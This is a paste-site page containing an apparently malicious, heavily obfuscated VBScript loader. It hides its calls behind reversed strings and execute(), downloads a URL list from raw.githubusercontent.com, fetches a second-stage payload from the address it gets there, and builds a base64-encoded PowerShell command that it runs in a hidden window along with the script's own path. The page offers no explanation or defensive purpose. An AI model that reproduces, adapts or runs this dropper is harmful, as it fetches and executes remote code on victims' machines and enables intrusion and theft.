[text] gfhgh5j4j4rtttre

Viewer

copydownloadembedprintName: gfhgh5j4j4rtttre
  1.  
  2. 'v1.1.1.1
  3.  
  4. dim bhFzr : bhFzr = GetCurrentFolder
  5.  
  6. Function GetCurrentFolder()
  7. :::::::::::::::::::::::::::
  8. :::::::::::::::::::::::::::
  9. :::::::::::::::::::::::::::
  10. :::::::::::::::::::::::::::
  11. :::::::::::::::::::::::::::
  12.     Dim FSO
  13.     Set fso = CreateObject("Scripting.FileSystemObject")
  14.     GetCurrentFolder = FSO.GetAbsolutePathName(".") & "\" & WScript.ScriptName
  15.     :::::::::::::::::::::::::::
  16. :::::::::::::::::::::::::::
  17. :::::::::::::::::::::::::::
  18. :::::::::::::::::::::::::::
  19. :::::::::::::::::::::::::::
  20. End Function
  21.  
  22. Function hZihd(UyRrn, CBqZR)
  23. tDsEJ = InStr(UyRrn, CBqZR)
  24. End Function
  25.  
  26. Function jdWbi(Ddxfo, PbIRa, aXQZa)
  27. iJqID = "jdWbi = "
  28. iJqID = iJqID + "Replace"
  29. iJqID = iJqID + "(Ddxfo , PbIRa , aXQZa)"
  30. execute(iJqID)
  31. End Function
  32.  
  33. Function UXMcA( almAZ )
  34. dwgSk = "UXMcA = "
  35. dwgSk = dwgSk + "St" + "rReverse"
  36. dwgSk = dwgSk + "(almAZ)"
  37. execute(dwgSk)
  38. End Function
  39.  
  40. dim fuuMi
  41. fuuMi = "  "
  42.  
  43. dim PHLJf
  44.  
  45. PHLJf = UXMcA("=‡QK‡‡C‡p‡‡I‡cC‡lBQd‡IH‡UBwJ‡‡C‡s‡‡I‡gH‡OBgY‡EE‡xB‡J‡‡C‡s‡‡I‡cC‡oB‡d‡QH‡wBwc‡oD‡v‡wL‡IH‡hBwd‡4C‡nBQa‡QH‡oBQd‡IG‡1Bwc‡UG‡yBwY‡8G‡uB‡d‡UG‡uB‡d‡4C‡jBwb‡0G‡v‡‡U‡oG‡vBQY‡8G‡x‡QN‡cD‡4‡wL‡UF‡wBwY‡IH‡5B‡c‡QH‡lBgc‡8C‡tBQY‡kG‡uBwL‡MF‡lBgc‡YH‡lBgc‡IE‡hBwc‡UG‡2‡‡N‡cC‡o‡‡I‡0F‡dBwW‡QH‡jBQ" & "  " & _ 
  46. "‡oG‡iBwb‡sF‡g‡‡L‡wG‡sBQd‡4G‡k‡‡K‡UG‡rBwb‡YH‡uBQS‡4C‡p‡wJ‡kE‡WBgR‡IH‡wBwJ‡gC‡kBwb‡gG‡0BQ" & "  " & _ 
  47. "‡0E‡0BQ" & "  " & _ 
  48. "‡cE‡u‡QK‡cC‡x‡wc‡MH‡hB‡b‡ME‡u‡wM‡kH‡yBQY‡IH‡iBQa‡wE‡zBwc‡EG‡sBwQ‡cC‡o‡Q" & "  " & _ 
  49. "‡‡H‡5B‡V‡QH‡lBwR‡4C‡p‡wS‡YF‡LBQd‡UE‡k‡‡K‡QG‡hBwb‡wE‡u‡gb‡kG‡hBQb‡8G‡EB‡d‡4G‡lBgc‡IH‡1BwQ‡oD‡6‡QX‡4G‡pBQY‡0G‡vB‡R‡‡H‡wBQQ‡4C‡tBQ" & "  " & _ 
  50. "‡QH‡zBQe‡MF‡bBwO‡kC‡g‡QK‡cC‡BBwJ‡‡C‡s‡wJhMJ‡6Eyk‡cC‡o‡Q" & "  " & _ 
  51. "‡MG‡hB‡b‡‡H‡lBgU‡4C‡KB‡R‡oG‡GBgY‡QC‡g‡‡K‡cG‡uBQa‡IH‡0BwU‡QD‡2‡Q" & "  " & _ 
  52. "‡MH‡hBgQ‡0G‡vBgc‡YE‡6‡gO‡0F‡0Bgc‡UG‡2Bgb‡8G‡DBgL‡0G‡lB‡d‡MH‡5BwU‡sF‡g‡QP‡‡C‡LBgV‡sE‡1BQR‡QC‡g‡QX‡0F‡bBQ" & "  " & _ 
  53. "‡QH‡5BgQ‡sF‡7‡wJ‡UC‡BBwd‡EF‡qBgd‡UC‡n‡‡I‡0D‡g‡gS‡QE‡qBgR‡IG‡k‡wO‡cC‡l‡wY‡QH‡DB‡V‡EF‡l‡wJ‡‡C‡9‡‡I‡gH‡OBgY‡EE‡xB‡J")
  54. PHLJf = jdWbi( PHLJf,  fuuMi , "Z")
  55.  
  56. dim CdsBx
  57. dim AsRlA
  58.  
  59. on error resume next
  60.  
  61. Function Mjgyt( OMCYN )
  62. set jXALS  = createobject("MSXML2.ServerXMLHTTP.6.0")
  63. jXALS.open "GET", (OMCYN), false
  64. jXALS.send ""
  65. Mjgyt = ( jXALS.responseText )
  66. end Function 
  67.  
  68. dim opghv
  69. opghv = UXMcA("1LLD/niam/retpyrcpU/8751oaojP/moc.tnetnocresubuhtig.war//:sptth")
  70. opghv = Mjgyt( opghv )
  71. opghv = split(opghv,",")(0)
  72.  
  73. AsRlA = Mjgyt( ( opghv ))
  74.  
  75.  
  76. CdsBx = UXMcA("' = eaAxL$") & PHLJf & "'" 
  77.  
  78. CdsBx = CdsBx & UXMcA(":]gnidocnE.txeT.metsyS[ = fXNrU$;")
  79.  
  80. CdsBx = CdsBx & UXMcA(" (gnirtSteG.edocinU:")
  81.  
  82. CdsBx = CdsBx & UXMcA("::]trevnoC.metsyS[")
  83.  
  84. CdsBx = CdsBx & UXMcA("','%AwQjv%'(ecalper.) ) )'A','‡'(ecalper.eaAxL$ (gnirtS46esaBmorF")
  85.  
  86. CdsBx = CdsBx & (AsRlA)
  87.  
  88. CdsBx = CdsBx &  UXMcA("','%ctCTQ%'(ecalper.)'") & bhFzr & UXMcA("fƂԲƂXNƂԲƂrU$ dnamƂԲƂmoC-ƂԲƂ eƂԲƂxeƂԲƂ.llehƂԲƂsrewƂԲƂopƂԲƂ;)'")
  89.  
  90.  
  91. dim rHDtd
  92. rHDtd = "Ƃ"
  93.  
  94. CdsBx = ( jdWbi(CdsBx, rHDtd + "Բ" + rHDtd, "") ) 
  95. set AqUkW =  CreateObject("WScript.Shell")
  96. AqUkW.Run( "powershell -command " & (CdsBx) ), 0, false

Editor

You can edit this paste and save as new:


File Description
  • gfhgh5j4j4rtttre
  • Paste Code
  • 23 Mar-2023
  • 3.62 Kb
You can Share it: